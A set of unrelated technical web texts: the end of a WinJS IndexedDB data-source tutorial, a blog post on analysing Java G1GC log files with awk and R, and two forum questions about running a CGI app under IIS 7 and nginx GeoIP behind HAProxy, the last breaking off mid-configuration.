document.getElementById("lvTasks").winControl; // Bind the ListView to its data source var tasksDataSource = new DataSources.IndexedDbDataSource("TasksDB", 1, "tasks", upgrade); lvTasks.itemDataSource = tasksDataSource; // Wire-up Add, Delete, Nuke buttons document.getElementById("frmAdd").addEventListener("submit", function (evt) { evt.preventDefault(); tasksDataSource.beginEdits(); tasksDataSource.insertAtEnd(null, { name: document.getElementById("inputTaskName").value }).done(function (newItem) { tasksDataSource.endEdits(); document.getElementById("frmAdd").reset(); lvTasks.ensureVisible(newItem.index); }); }); document.getElementById("btnDelete").addEventListener("click", function () { if (lvTasks.selection.count() == 1) { lvTasks.selection.getItems().done(function (items) { tasksDataSource.remove(items[0].data.id); }); } }); document.getElementById("btnNuke").addEventListener("click", function () { tasksDataSource.nuke(); }); // This method is called to initialize the IndexedDb database function upgrade(evt) { var newDB = evt.target.result; newDB.createObjectStore("tasks", { keyPath: "id", autoIncrement: true }); } }); } document.addEventListener("DOMContentLoaded", init); The IndexedDbDataSource is created and bound to the ListView control with the following two lines of code: var tasksDataSource = new DataSources.IndexedDbDataSource("TasksDB", 1, "tasks", upgrade); lvTasks.itemDataSource = tasksDataSource; The IndexedDbDataSource is created with four parameters: the name of the database to create, the version of the database to create, the name of the object store to create, and a function which contains code to initialize the new database. The upgrade function creates a new object store named tasks with an auto-increment property named id: function upgrade(evt) { var newDB = evt.target.result; newDB.createObjectStore("tasks", { keyPath: "id", autoIncrement: true }); } The Complete Code for the IndexedDbDataSource Here’s the complete code for the IndexedDbDataSource: (function () { /************************************************ * The IndexedDBDataAdapter enables you to work * with a HTML5 IndexedDB database. *************************************************/ var IndexedDbDataAdapter = WinJS.Class.define( function (dbName, dbVersion, objectStoreName, upgrade, error) { this._dbName = dbName; // database name this._dbVersion = dbVersion; // database version this._objectStoreName = objectStoreName; // object store name this._upgrade = upgrade; // database upgrade script this._error = error || function (evt) { console.log(evt.message); }; }, { /******************************************* * IListDataAdapter Interface Methods ********************************************/ getCount: function () { var that = this; return new WinJS.Promise(function (complete, error) { that._getObjectStore().then(function (store) { var reqCount = store.count(); reqCount.onerror = that._error; reqCount.onsuccess = function (evt) { complete(evt.target.result); }; }); }); }, itemsFromIndex: function (requestIndex, countBefore, countAfter) { var that = this; return new WinJS.Promise(function (complete, error) { that.getCount().then(function (count) { if (requestIndex >= count) { return WinJS.Promise.wrapError(new WinJS.ErrorFromName(WinJS.UI.FetchError.doesNotExist)); } var startIndex = Math.max(0, requestIndex - countBefore); var endIndex = Math.min(count, requestIndex + countAfter + 1); that._getObjectStore().then(function (store) { var index = 0; var items = []; var req = store.openCursor(); req.onerror = that._error; req.onsuccess = function (evt) { var cursor = evt.target.result; if (index < startIndex) { index = startIndex; cursor.advance(startIndex); return; } if (cursor && index < endIndex) { index++; items.push({ key: cursor.value[store.keyPath].toString(), data: cursor.value }); cursor.continue(); return; } results = { items: items, offset: requestIndex - startIndex, totalCount: count }; complete(results); }; }); }); }); }, insertAtEnd:function(unused, data) { var that = this; return new WinJS.Promise(function (complete, error) { that._getObjectStore("readwrite").done(function(store) { var reqAdd = store.add(data); reqAdd.onerror = that._error; reqAdd.onsuccess = function (evt) { var reqGet = store.get(evt.target.result); reqGet.onerror = that._error; reqGet.onsuccess = function (evt) { var newItem = { key:evt.target.result[store.keyPath].toString(), data:evt.target.result } complete(newItem); }; }; }); }); }, setNotificationHandler: function (notificationHandler) { this._notificationHandler = notificationHandler; }, /***************************************** * IndexedDbDataSource Method ******************************************/ removeInternal: function(key) { var that = this; return new WinJS.Promise(function (complete, error) { that._getObjectStore("readwrite").done(function (store) { var reqDelete = store.delete (key); reqDelete.onerror = that._error; reqDelete.onsuccess = function (evt) { that._notificationHandler.removed(key.toString()); complete(); }; }); }); }, nuke: function () { var that = this; return new WinJS.Promise(function (complete, error) { that._getObjectStore("readwrite").done(function (store) { var reqClear = store.clear(); reqClear.onerror = that._error; reqClear.onsuccess = function (evt) { that._notificationHandler.reload(); complete(); }; }); }); }, /******************************************* * Private Methods ********************************************/ _ensureDbOpen: function () { var that = this; // Try to get cached Db if (that._cachedDb) { return WinJS.Promise.wrap(that._cachedDb); } // Otherwise, open the database return new WinJS.Promise(function (complete, error, progress) { var reqOpen = window.indexedDB.open(that._dbName, that._dbVersion); reqOpen.onerror = function (evt) { error(); }; reqOpen.onupgradeneeded = function (evt) { that._upgrade(evt); that._notificationHandler.invalidateAll(); }; reqOpen.onsuccess = function () { that._cachedDb = reqOpen.result; complete(that._cachedDb); }; }); }, _getObjectStore: function (type) { type = type || "readonly"; var that = this; return new WinJS.Promise(function (complete, error) { that._ensureDbOpen().then(function (db) { var transaction = db.transaction(that._objectStoreName, type); complete(transaction.objectStore(that._objectStoreName)); }); }); }, _get: function (key) { return new WinJS.Promise(function (complete, error) { that._getObjectStore().done(function (store) { var reqGet = store.get(key); reqGet.onerror = that._error; reqGet.onsuccess = function (item) { complete(item); }; }); }); } } ); var IndexedDbDataSource = WinJS.Class.derive( WinJS.UI.VirtualizedDataSource, function (dbName, dbVersion, objectStoreName, upgrade, error) { this._adapter = new IndexedDbDataAdapter(dbName, dbVersion, objectStoreName, upgrade, error); this._baseDataSourceConstructor(this._adapter); }, { nuke: function () { this._adapter.nuke(); }, remove: function (key) { this._adapter.removeInternal(key); } } ); WinJS.Namespace.define("DataSources", { IndexedDbDataSource: IndexedDbDataSource }); })(); Summary In this blog post, I provided an overview of how you can create a new data source which you can use with the WinJS library. I described how you can create an IndexedDbDataSource which you can use to bind a ListView control to an IndexedDB database. While describing how you can create a custom data source, I explained how you can implement the IListDataAdapter interface. You also learned how to raise notifications — such as a removed or invalidateAll notification — by taking advantage of the methods of the IListDataNotificationHandler interface.

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Using R to Analyze G1GC Log Files

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Using R to Analyze G1GC Log Files Using R to Analyze G1GC Log Files Introduction Working in Oracle Platform Integration gives an engineer opportunities to work on a wide array of technologies. My team’s goal is to make Oracle applications run best on the Solaris/SPARC platform. When looking for bottlenecks in a modern applications, one needs to be aware of not only how the CPUs and operating system are executing, but also network, storage, and in some cases, the Java Virtual Machine. I was recently presented with about 1.5 GB of Java Garbage First Garbage Collector log file data. If you’re not familiar with the subject, you might want to review Garbage First Garbage Collector Tuning by Monica Beckwith. The customer had been running Java HotSpot 1.6.0_31 to host a web application server. I was told that the Solaris/SPARC server was running a Java process launched using a commmand line that included the following flags: -d64 -Xms9g -Xmx9g -XX:+UseG1GC -XX:MaxGCPauseMillis=200 -XX:InitiatingHeapOccupancyPercent=80 -XX:PermSize=256m -XX:MaxPermSize=256m -XX:+PrintGC -XX:+PrintGCTimeStamps -XX:+PrintHeapAtGC -XX:+PrintGCDateStamps -XX:+PrintFlagsFinal -XX:+DisableExplicitGC -XX:+UnlockExperimentalVMOptions -XX:ParallelGCThreads=8 Several sources on the internet indicate that if I were to print out the 1.5 GB of log files, it would require enough paper to fill the bed of a pick up truck. Of course, it would be fruitless to try to scan the log files by hand. Tools will be required to summarize the contents of the log files. Others have encountered large Java garbage collection log files. There are existing tools to analyze the log files: IBM’s GC toolkit The chewiebug GCViewer gchisto HPjmeter Instead of using one of the other tools listed, I decide to parse the log files with standard Unix tools, and analyze the data with R. Data Cleansing The log files arrived in two different formats. I guess that the difference is that one set of log files was generated using a more verbose option, maybe -XX:+PrintHeapAtGC, and the other set of log files was generated without that option. Format 1 In some of the log files, the log files with the less verbose format, a single trace, i.e. the report of a singe garbage collection event, looks like this: {Heap before GC invocations=12280 (full 61): garbage-first heap total 9437184K, used 7499918K [0xfffffffd00000000, 0xffffffff40000000, 0xffffffff40000000) region size 4096K, 1 young (4096K), 0 survivors (0K) compacting perm gen total 262144K, used 144077K [0xffffffff40000000, 0xffffffff50000000, 0xffffffff50000000) the space 262144K, 54% used [0xffffffff40000000, 0xffffffff48cb3758, 0xffffffff48cb3800, 0xffffffff50000000) No shared spaces configured. 2014-05-14T07:24:00.988-0700: 60586.353: [GC pause (young) 7324M->7320M(9216M), 0.1567265 secs] Heap after GC invocations=12281 (full 61): garbage-first heap total 9437184K, used 7496533K [0xfffffffd00000000, 0xffffffff40000000, 0xffffffff40000000) region size 4096K, 0 young (0K), 0 survivors (0K) compacting perm gen total 262144K, used 144077K [0xffffffff40000000, 0xffffffff50000000, 0xffffffff50000000) the space 262144K, 54% used [0xffffffff40000000, 0xffffffff48cb3758, 0xffffffff48cb3800, 0xffffffff50000000) No shared spaces configured. } A simple grep can be used to extract a summary: $ grep "\[ GC pause (young" g1gc.log 2014-05-13T13:24:35.091-0700: 3.109: [GC pause (young) 20M->5029K(9216M), 0.0146328 secs] 2014-05-13T13:24:35.440-0700: 3.459: [GC pause (young) 9125K->6077K(9216M), 0.0086723 secs] 2014-05-13T13:24:37.581-0700: 5.599: [GC pause (young) 25M->8470K(9216M), 0.0203820 secs] 2014-05-13T13:24:42.686-0700: 10.704: [GC pause (young) 44M->15M(9216M), 0.0288848 secs] 2014-05-13T13:24:48.941-0700: 16.958: [GC pause (young) 51M->20M(9216M), 0.0491244 secs] 2014-05-13T13:24:56.049-0700: 24.066: [GC pause (young) 92M->26M(9216M), 0.0525368 secs] 2014-05-13T13:25:34.368-0700: 62.383: [GC pause (young) 602M->68M(9216M), 0.1721173 secs] But that format wasn't easily read into R, so I needed to be a bit more tricky. I used the following Unix command to create a summary file that was easy for R to read. $ echo "SecondsSinceLaunch BeforeSize AfterSize TotalSize RealTime" $ grep "\[GC pause (young" g1gc.log | grep -v mark | sed -e 's/[A-SU-z,]/ /g' -e 's/->/ /' -e 's/: / /g' | more SecondsSinceLaunch BeforeSize AfterSize TotalSize RealTime 2014-05-13T13:24:35.091-0700 3.109 20 5029 9216 0.0146328 2014-05-13T13:24:35.440-0700 3.459 9125 6077 9216 0.0086723 2014-05-13T13:24:37.581-0700 5.599 25 8470 9216 0.0203820 2014-05-13T13:24:42.686-0700 10.704 44 15 9216 0.0288848 2014-05-13T13:24:48.941-0700 16.958 51 20 9216 0.0491244 2014-05-13T13:24:56.049-0700 24.066 92 26 9216 0.0525368 2014-05-13T13:25:34.368-0700 62.383 602 68 9216 0.1721173 Format 2 In some of the log files, the log files with the more verbose format, a single trace, i.e. the report of a singe garbage collection event, was more complicated than Format 1. Here is a text file with an example of a single G1GC trace in the second format. As you can see, it is quite complicated. It is nice that there is so much information available, but the level of detail can be overwhelming. I wrote this awk script (download) to summarize each trace on a single line. #!/usr/bin/env awk -f BEGIN { printf("SecondsSinceLaunch IncrementalCount FullCount UserTime SysTime RealTime BeforeSize AfterSize TotalSize\n") } ###################### # Save count data from lines that are at the start of each G1GC trace. # Each trace starts out like this: # {Heap before GC invocations=14 (full 0): # garbage-first heap total 9437184K, used 325496K [0xfffffffd00000000, 0xffffffff40000000, 0xffffffff40000000) ###################### /{Heap.*full/{ gsub ( "\\)" , "" ); nf=split($0,a,"="); split(a[2],b," "); getline; if ( match($0, "first") ) { G1GC=1; IncrementalCount=b[1]; FullCount=substr( b[3], 1, length(b[3])-1 ); } else { G1GC=0; } } ###################### # Pull out time stamps that are in lines with this format: # 2014-05-12T14:02:06.025-0700: 94.312: [GC pause (young), 0.08870154 secs] ###################### /GC pause/ { DateTime=$1; SecondsSinceLaunch=substr($2, 1, length($2)-1); } ###################### # Heap sizes are in lines that look like this: # [ 4842M->4838M(9216M)] ###################### /\[ .*]$/ { gsub ( "\\[" , "" ); gsub ( "\ \]" , "" ); gsub ( "->" , " " ); gsub ( "\$ " , " " ); gsub ( "\ $" , " " ); split($0,a," "); if ( split(a[1],b,"M") > 1 ) {BeforeSize=b[1]*1024;} if ( split(a[1],b,"K") > 1 ) {BeforeSize=b[1];} if ( split(a[2],b,"M") > 1 ) {AfterSize=b[1]*1024;} if ( split(a[2],b,"K") > 1 ) {AfterSize=b[1];} if ( split(a[3],b,"M") > 1 ) {TotalSize=b[1]*1024;} if ( split(a[3],b,"K") > 1 ) {TotalSize=b[1];} } ###################### # Emit an output line when you find input that looks like this: # [Times: user=1.41 sys=0.08, real=0.24 secs] ###################### /\[Times/ { if (G1GC==1) { gsub ( "," , "" ); split($2,a,"="); UserTime=a[2]; split($3,a,"="); SysTime=a[2]; split($4,a,"="); RealTime=a[2]; print DateTime,SecondsSinceLaunch,IncrementalCount,FullCount,UserTime,SysTime,RealTime,BeforeSize,AfterSize,TotalSize; G1GC=0; } } The resulting summary is about 25X smaller that the original file, but still difficult for a human to digest. SecondsSinceLaunch IncrementalCount FullCount UserTime SysTime RealTime BeforeSize AfterSize TotalSize ... 2014-05-12T18:36:34.669-0700: 3985.744 561 0 0.57 0.06 0.16 1724416 1720320 9437184 2014-05-12T18:36:34.839-0700: 3985.914 562 0 0.51 0.06 0.19 1724416 1720320 9437184 2014-05-12T18:36:35.069-0700: 3986.144 563 0 0.60 0.04 0.27 1724416 1721344 9437184 2014-05-12T18:36:35.354-0700: 3986.429 564 0 0.33 0.04 0.09 1725440 1722368 9437184 2014-05-12T18:36:35.545-0700: 3986.620 565 0 0.58 0.04 0.17 1726464 1722368 9437184 2014-05-12T18:36:35.726-0700: 3986.801 566 0 0.43 0.05 0.12 1726464 1722368 9437184 2014-05-12T18:36:35.856-0700: 3986.930 567 0 0.30 0.04 0.07 1726464 1723392 9437184 2014-05-12T18:36:35.947-0700: 3987.023 568 0 0.61 0.04 0.26 1727488 1723392 9437184 2014-05-12T18:36:36.228-0700: 3987.302 569 0 0.46 0.04 0.16 1731584 1724416 9437184 Reading the Data into R Once the GC log data had been cleansed, either by processing the first format with the shell script, or by processing the second format with the awk script, it was easy to read the data into R. g1gc.df = read.csv("summary.txt", row.names = NULL, stringsAsFactors=FALSE,sep="") str(g1gc.df) ## 'data.frame': 8307 obs. of 10 variables: ## $ row.names : chr "2014-05-12T14:00:32.868-0700:" "2014-05-12T14:00:33.179-0700:" "2014-05-12T14:00:33.677-0700:" "2014-05-12T14:00:35.538-0700:" ... ## $ SecondsSinceLaunch: num 1.16 1.47 1.97 3.83 6.1 ... ## $ IncrementalCount : int 0 1 2 3 4 5 6 7 8 9 ... ## $ FullCount : int 0 0 0 0 0 0 0 0 0 0 ... ## $ UserTime : num 0.11 0.05 0.04 0.21 0.08 0.26 0.31 0.33 0.34 0.56 ... ## $ SysTime : num 0.04 0.01 0.01 0.05 0.01 0.06 0.07 0.06 0.07 0.09 ... ## $ RealTime : num 0.02 0.02 0.01 0.04 0.02 0.04 0.05 0.04 0.04 0.06 ... ## $ BeforeSize : int 8192 5496 5768 22528 24576 43008 34816 53248 55296 93184 ... ## $ AfterSize : int 1400 1672 2557 4907 7072 14336 16384 18432 19456 21504 ... ## $ TotalSize : int 9437184 9437184 9437184 9437184 9437184 9437184 9437184 9437184 9437184 9437184 ... head(g1gc.df) ## row.names SecondsSinceLaunch IncrementalCount ## 1 2014-05-12T14:00:32.868-0700: 1.161 0 ## 2 2014-05-12T14:00:33.179-0700: 1.472 1 ## 3 2014-05-12T14:00:33.677-0700: 1.969 2 ## 4 2014-05-12T14:00:35.538-0700: 3.830 3 ## 5 2014-05-12T14:00:37.811-0700: 6.103 4 ## 6 2014-05-12T14:00:41.428-0700: 9.720 5 ## FullCount UserTime SysTime RealTime BeforeSize AfterSize TotalSize ## 1 0 0.11 0.04 0.02 8192 1400 9437184 ## 2 0 0.05 0.01 0.02 5496 1672 9437184 ## 3 0 0.04 0.01 0.01 5768 2557 9437184 ## 4 0 0.21 0.05 0.04 22528 4907 9437184 ## 5 0 0.08 0.01 0.02 24576 7072 9437184 ## 6 0 0.26 0.06 0.04 43008 14336 9437184 Basic Statistics Once the data has been read into R, simple statistics are very easy to generate. All of the numbers from high school statistics are available via simple commands. For example, generate a summary of every column: summary(g1gc.df) ## row.names SecondsSinceLaunch IncrementalCount FullCount ## Length:8307 Min. : 1 Min. : 0 Min. : 0.0 ## Class :character 1st Qu.: 9977 1st Qu.:2048 1st Qu.: 0.0 ## Mode :character Median :12855 Median :4136 Median : 12.0 ## Mean :12527 Mean :4156 Mean : 31.6 ## 3rd Qu.:15758 3rd Qu.:6262 3rd Qu.: 61.0 ## Max. :55484 Max. :8391 Max. :113.0 ## UserTime SysTime RealTime BeforeSize ## Min. :0.040 Min. :0.0000 Min. : 0.0 Min. : 5476 ## 1st Qu.:0.470 1st Qu.:0.0300 1st Qu.: 0.1 1st Qu.:5137920 ## Median :0.620 Median :0.0300 Median : 0.1 Median :6574080 ## Mean :0.751 Mean :0.0355 Mean : 0.3 Mean :5841855 ## 3rd Qu.:0.920 3rd Qu.:0.0400 3rd Qu.: 0.2 3rd Qu.:7084032 ## Max. :3.370 Max. :1.5600 Max. :488.1 Max. :8696832 ## AfterSize TotalSize ## Min. : 1380 Min. :9437184 ## 1st Qu.:5002752 1st Qu.:9437184 ## Median :6559744 Median :9437184 ## Mean :5785454 Mean :9437184 ## 3rd Qu.:7054336 3rd Qu.:9437184 ## Max. :8482816 Max. :9437184 Q: What is the total amount of User CPU time spent in garbage collection? sum(g1gc.df$UserTime) ## [1] 6236 As you can see, less than two hours of CPU time was spent in garbage collection. Is that too much? To find the percentage of time spent in garbage collection, divide the number above by total_elapsed_time*CPU_count. In this case, there are a lot of CPU’s and it turns out the the overall amount of CPU time spent in garbage collection isn’t a problem when viewed in isolation. When calculating rates, i.e. events per unit time, you need to ask yourself if the rate is homogenous across the time period in the log file. Does the log file include spikes of high activity that should be separately analyzed? Averaging in data from nights and weekends with data from business hours may alias problems. If you have a reason to suspect that the garbage collection rates include peaks and valleys that need independent analysis, see the “Time Series” section, below. Q: How much garbage is collected on each pass? The amount of heap space that is recovered per GC pass is surprisingly low: At least one collection didn’t recover any data. (“Min.=0”) 25% of the passes recovered 3MB or less. (“1st Qu.=3072”) Half of the GC passes recovered 4MB or less. (“Median=4096”) The average amount recovered was 56MB. (“Mean=56390”) 75% of the passes recovered 36MB or less. (“3rd Qu.=36860”) At least one pass recovered 2GB. (“Max.=2121000”) g1gc.df$Delta = g1gc.df$BeforeSize - g1gc.df$AfterSize summary(g1gc.df$Delta) ## Min. 1st Qu. Median Mean 3rd Qu. Max. ## 0 3070 4100 56400 36900 2120000 Q: What is the maximum User CPU time for a single collection? The worst garbage collection (“Max.”) is many standard deviations away from the mean. The data appears to be right skewed. summary(g1gc.df$UserTime) ## Min. 1st Qu. Median Mean 3rd Qu. Max. ## 0.040 0.470 0.620 0.751 0.920 3.370 sd(g1gc.df$UserTime) ## [1] 0.3966 Basic Graphics Once the data is in R, it is trivial to plot the data with formats including dot plots, line charts, bar charts (simple, stacked, grouped), pie charts, boxplots, scatter plots histograms, and kernel density plots. Histogram of User CPU Time per Collection I don't think that this graph requires any explanation. hist(g1gc.df$UserTime, main="User CPU Time per Collection", xlab="Seconds", ylab="Frequency") Box plot to identify outliers When the initial data is viewed with a box plot, you can see the one crazy outlier in the real time per GC. Save this data point for future analysis and drop the outlier so that it’s not throwing off our statistics. Now the box plot shows many outliers, which will be examined later, using times series analysis. Notice that the scale of the x-axis changes drastically once the crazy outlier is removed. par(mfrow=c(2,1)) boxplot(g1gc.df$UserTime,g1gc.df$SysTime,g1gc.df$RealTime, main="Box Plot of Time per GC\n(dominated by a crazy outlier)", names=c("usr","sys","elapsed"), xlab="Seconds per GC", ylab="Time (Seconds)", horizontal = TRUE, outcol="red") crazy.outlier.df=g1gc.df[g1gc.df$RealTime > 400,] g1gc.df=g1gc.df[g1gc.df$RealTime < 400,] boxplot(g1gc.df$UserTime,g1gc.df$SysTime,g1gc.df$RealTime, main="Box Plot of Time per GC\n(crazy outlier excluded)", names=c("usr","sys","elapsed"), xlab="Seconds per GC", ylab="Time (Seconds)", horizontal = TRUE, outcol="red") box(which = "outer", lty = "solid") Here is the crazy outlier for future analysis: crazy.outlier.df ## row.names SecondsSinceLaunch IncrementalCount ## 8233 2014-05-12T23:15:43.903-0700: 20741 8316 ## FullCount UserTime SysTime RealTime BeforeSize AfterSize TotalSize ## 8233 112 0.55 0.42 488.1 8381440 8235008 9437184 ## Delta ## 8233 146432 R Time Series Data To analyze the garbage collection as a time series, I’ll use Z’s Ordered Observations (zoo). “zoo is the creator for an S3 class of indexed totally ordered observations which includes irregular time series.” require(zoo) ## Loading required package: zoo ## ## Attaching package: 'zoo' ## ## The following objects are masked from 'package:base': ## ## as.Date, as.Date.numeric head(g1gc.df[,1]) ## [1] "2014-05-12T14:00:32.868-0700:" "2014-05-12T14:00:33.179-0700:" ## [3] "2014-05-12T14:00:33.677-0700:" "2014-05-12T14:00:35.538-0700:" ## [5] "2014-05-12T14:00:37.811-0700:" "2014-05-12T14:00:41.428-0700:" options("digits.secs"=3) times=as.POSIXct( g1gc.df[,1], format="%Y-%m-%dT%H:%M:%OS%z:") g1gc.z = zoo(g1gc.df[,-c(1)], order.by=times) head(g1gc.z) ## SecondsSinceLaunch IncrementalCount FullCount ## 2014-05-12 17:00:32.868 1.161 0 0 ## 2014-05-12 17:00:33.178 1.472 1 0 ## 2014-05-12 17:00:33.677 1.969 2 0 ## 2014-05-12 17:00:35.538 3.830 3 0 ## 2014-05-12 17:00:37.811 6.103 4 0 ## 2014-05-12 17:00:41.427 9.720 5 0 ## UserTime SysTime RealTime BeforeSize AfterSize ## 2014-05-12 17:00:32.868 0.11 0.04 0.02 8192 1400 ## 2014-05-12 17:00:33.178 0.05 0.01 0.02 5496 1672 ## 2014-05-12 17:00:33.677 0.04 0.01 0.01 5768 2557 ## 2014-05-12 17:00:35.538 0.21 0.05 0.04 22528 4907 ## 2014-05-12 17:00:37.811 0.08 0.01 0.02 24576 7072 ## 2014-05-12 17:00:41.427 0.26 0.06 0.04 43008 14336 ## TotalSize Delta ## 2014-05-12 17:00:32.868 9437184 6792 ## 2014-05-12 17:00:33.178 9437184 3824 ## 2014-05-12 17:00:33.677 9437184 3211 ## 2014-05-12 17:00:35.538 9437184 17621 ## 2014-05-12 17:00:37.811 9437184 17504 ## 2014-05-12 17:00:41.427 9437184 28672 Example of Two Benchmark Runs in One Log File The data in the following graph is from a different log file, not the one of primary interest to this article. I’m including this image because it is an example of idle periods followed by busy periods. It would be uninteresting to average the rate of garbage collection over the entire log file period. More interesting would be the rate of garbage collect in the two busy periods. Are they the same or different? Your production data may be similar, for example, bursts when employees return from lunch and idle times on weekend evenings, etc. Once the data is in an R Time Series, you can analyze isolated time windows. Clipping the Time Series data Flashing back to our test case… Viewing the data as a time series is interesting. You can see that the work intensive time period is between 9:00 PM and 3:00 AM. Lets clip the data to the interesting period: par(mfrow=c(2,1)) plot(g1gc.z$UserTime, type="h", main="User Time per GC\nTime: Complete Log File", xlab="Time of Day", ylab="CPU Seconds per GC", col="#1b9e77") clipped.g1gc.z=window(g1gc.z, start=as.POSIXct("2014-05-12 21:00:00"), end=as.POSIXct("2014-05-13 03:00:00")) plot(clipped.g1gc.z$UserTime, type="h", main="User Time per GC\nTime: Limited to Benchmark Execution", xlab="Time of Day", ylab="CPU Seconds per GC", col="#1b9e77") box(which = "outer", lty = "solid") Cumulative Incremental and Full GC count Here is the cumulative incremental and full GC count. When the line is very steep, it indicates that the GCs are repeating very quickly. Notice that the scale on the Y axis is different for full vs. incremental. plot(clipped.g1gc.z[,c(2:3)], main="Cumulative Incremental and Full GC count", xlab="Time of Day", col="#1b9e77") GC Analysis of Benchmark Execution using Time Series data In the following series of 3 graphs: The “After Size” show the amount of heap space in use after each garbage collection. Many Java objects are still referenced, i.e. alive, during each garbage collection. This may indicate that the application has a memory leak, or may indicate that the application has a very large memory footprint. Typically, an application's memory footprint plateau's in the early stage of execution. One would expect this graph to have a flat top. The steep decline in the heap space may indicate that the application crashed after 2:00. The second graph shows that the outliers in real execution time, discussed above, occur near 2:00. when the Java heap seems to be quite full. The third graph shows that Full GCs are infrequent during the first few hours of execution. The rate of Full GC's, (the slope of the cummulative Full GC line), changes near midnight. plot(clipped.g1gc.z[,c("AfterSize","RealTime","FullCount")], xlab="Time of Day", col=c("#1b9e77","red","#1b9e77")) GC Analysis of heap recovered Each GC trace includes the amount of heap space in use before and after the individual GC event. During garbage coolection, unreferenced objects are identified, the space holding the unreferenced objects is freed, and thus, the difference in before and after usage indicates how much space has been freed. The following box plot and bar chart both demonstrate the same point - the amount of heap space freed per garbage colloection is surprisingly low. par(mfrow=c(2,1)) boxplot(as.vector(clipped.g1gc.z$Delta), main="Amount of Heap Recovered per GC Pass", xlab="Size in KB", horizontal = TRUE, col="red") hist(as.vector(clipped.g1gc.z$Delta), main="Amount of Heap Recovered per GC Pass", xlab="Size in KB", breaks=100, col="red") box(which = "outer", lty = "solid") This graph is the most interesting. The dark blue area shows how much heap is occupied by referenced Java objects. This represents memory that holds live data. The red fringe at the top shows how much data was recovered after each garbage collection. barplot(clipped.g1gc.z[,c("AfterSize","Delta")], col=c("#7570b3","#e7298a"), xlab="Time of Day", border=NA) legend("topleft", c("Live Objects","Heap Recovered on GC"), fill=c("#7570b3","#e7298a")) box(which = "outer", lty = "solid") When I discuss the data in the log files with the customer, I will ask for an explaination for the large amount of referenced data resident in the Java heap. There are two are posibilities: There is a memory leak and the amount of space required to hold referenced objects will continue to grow, limited only by the maximum heap size. After the maximum heap size is reached, the JVM will throw an “Out of Memory” exception every time that the application tries to allocate a new object. If this is the case, the aplication needs to be debugged to identify why old objects are referenced when they are no longer needed. The application has a legitimate requirement to keep a large amount of data in memory. The customer may want to further increase the maximum heap size. Another possible solution would be to partition the application across multiple cluster nodes, where each node has responsibility for managing a unique subset of the data. Conclusion In conclusion, R is a very powerful tool for the analysis of Java garbage collection log files. The primary difficulty is data cleansing so that information can be read into an R data frame. Once the data has been read into R, a rich set of tools may be used for thorough evaluation.

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Run CGI in IIS 7 to work with GET without Requiring POST Request

- by Mohamed Meligy

I'm trying to migrate an old CGI application from an existing Windows 2003 server (IIS 6.0) where it works just fine to a new Windows 2008 server with IIS 7.0 where we're getting the following problem: After setting up the module handler and everything, I find that I can only access the CGI application (rdbweb.exe) file if I'm calling it via POST request (form submit from another page). If I just try to type in the URL of the file (issuing a GET request) I get the following error: HTTP Error 502.2 - Bad Gateway The specified CGI application misbehaved by not returning a complete set of HTTP headers. The headers it did return are "Exception EInOutError in module rdbweb.exe at 00039B44. I/O error 6. ". This is a very old application for one of our clients. When we tried to call the vendor they said we need to pay ~ $3000 annual support fee in order to start the talk about it. Of course I'm trying to avoid that! Note that: If we create a normal HTML form that submits to "rdbweb.exe", we get the CGI working normally. We can't use this as workaround though because some pages in the application link to "rdbweb.exe" with normal link not form submit. If we run "rdbweb.exe". from a Console (Command Prompt) Window not IIS, we get the normal HTML we'd typically expect, no problem. We have tried the following: Ensuring the CGI module mapped to "rdbweb.exe".in IIS has all permissions (read, write, execute) enabled and also all verbs are allowed not just specific ones, also tried allowing GET, POST explicitely. Ensuring the application bool has "enable 32 bit applications" set to true. Ensuring the website runs with an account that has full permissions on the "rdbweb.exe".file and whole website (although we know it "read", "execute" should be enough). Ensuring the machine wide IIS setting for "ISAPI and CGI Restrictions" has the full path to "rdbweb.exe".allowed. Making sure we have the latest Windows Updates (for IIS6 we found knowledge base articles stating bugs that require hot fixes for IIS6, but nothing similar was found for IIS7). Changing the module from CGI to Fast CGI, not working also Now the only remaining possibility we have instigated is the following Microsoft Knowledge Base article:http://support.microsoft.com/kb/145661 - Which is about: CGI Error: The specified CGI application misbehaved by not returning a complete set of HTTP headers. The headers it did return are: the article suggests the following solution: Modify the source code for the CGI application header output. The following is an example of a correct header: print "HTTP/1.0 200 OK\n"; print "Content-Type: text/html\n\n\n"; Unfortunately we do not have the source to try this out, and I'm not sure anyway whether this is the issue we're having. Can you help me with this problem? Is there a way to make the application work without requiring POST request? Note that on the old IIS6 server the application is working just fine, and I could not find any special IIS configuration that I may want to try its equivalent on IIS7.

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GeoIP and Nginx

- by JavierMartinez

I have a nginx with geoip, but it is not working rightly. The issue is the next: Nginx are getting geodata from $_SERVER['REMOTE_ADDR'] instead of $_SERVER['HTTP_X_HAPROXY_IP'], which have the real client ip. So, the reported geodata belongs to my server ip instead of client ip. Does anybody where could be the error to fix it? Nginx version and compiled modules: nginx -V nginx version: nginx/1.2.3 TLS SNI support enabled configure arguments: --prefix=/etc/nginx --conf-path=/etc/nginx/nginx.conf --error-log- path=/var/log/nginx/error.log --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-log-path=/var/log/nginx/access.log --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --lock-path=/var/lock/nginx.lock --pid-path=/var/run/nginx.pid --with-pcre-jit --with-debug --with-file-aio --with-http_addition_module --with-http_dav_module --with-http_geoip_module --with-http_gzip_static_module --with-http_image_filter_module --with-http_realip_module --with-http_secure_link_module --with-http_stub_status_module --with-http_ssl_module --with-http_sub_module --with-http_xslt_module --with-ipv6 --with-sha1=/usr/include/openssl --with-md5=/usr/include/openssl --with-mail --with-mail_ssl_module --add-module=/usr/src/nginx/source/nginx-1.2.3/debian/modules/nginx-auth-pam --add-module=/usr/src/nginx/source/nginx-1.2.3/debian/modules/nginx-echo --add-module=/usr/src/nginx/source/nginx-1.2.3/debian/modules/nginx-upstream-fair --add-module=/usr/src/nginx/source/nginx-1.2.3/debian/modules/nginx-dav-ext-module --add-module=/usr/src/nginx/source/nginx-1.2.3/debian/modules/nginx-syslog --add-module=/usr/src/nginx/source/nginx-1.2.3/debian/modules/nginx-cache-purge nginx site conf (frontend machine) server { root /var/www/storage; server_name ~^.*(\.)?mydomain.com$; if ($host ~ ^(.*)\.mydomain\.com$) { set $new_host $1.mydomain.com; } if ($host !~ ^(.*)\.mydomain\.com$) { set $new_host www.mydomain.com; } add_header Staging true; real_ip_header X-HAProxy-IP; set_real_ip_from 10.5.0.10/32; location /files { expires 30d; if ($uri 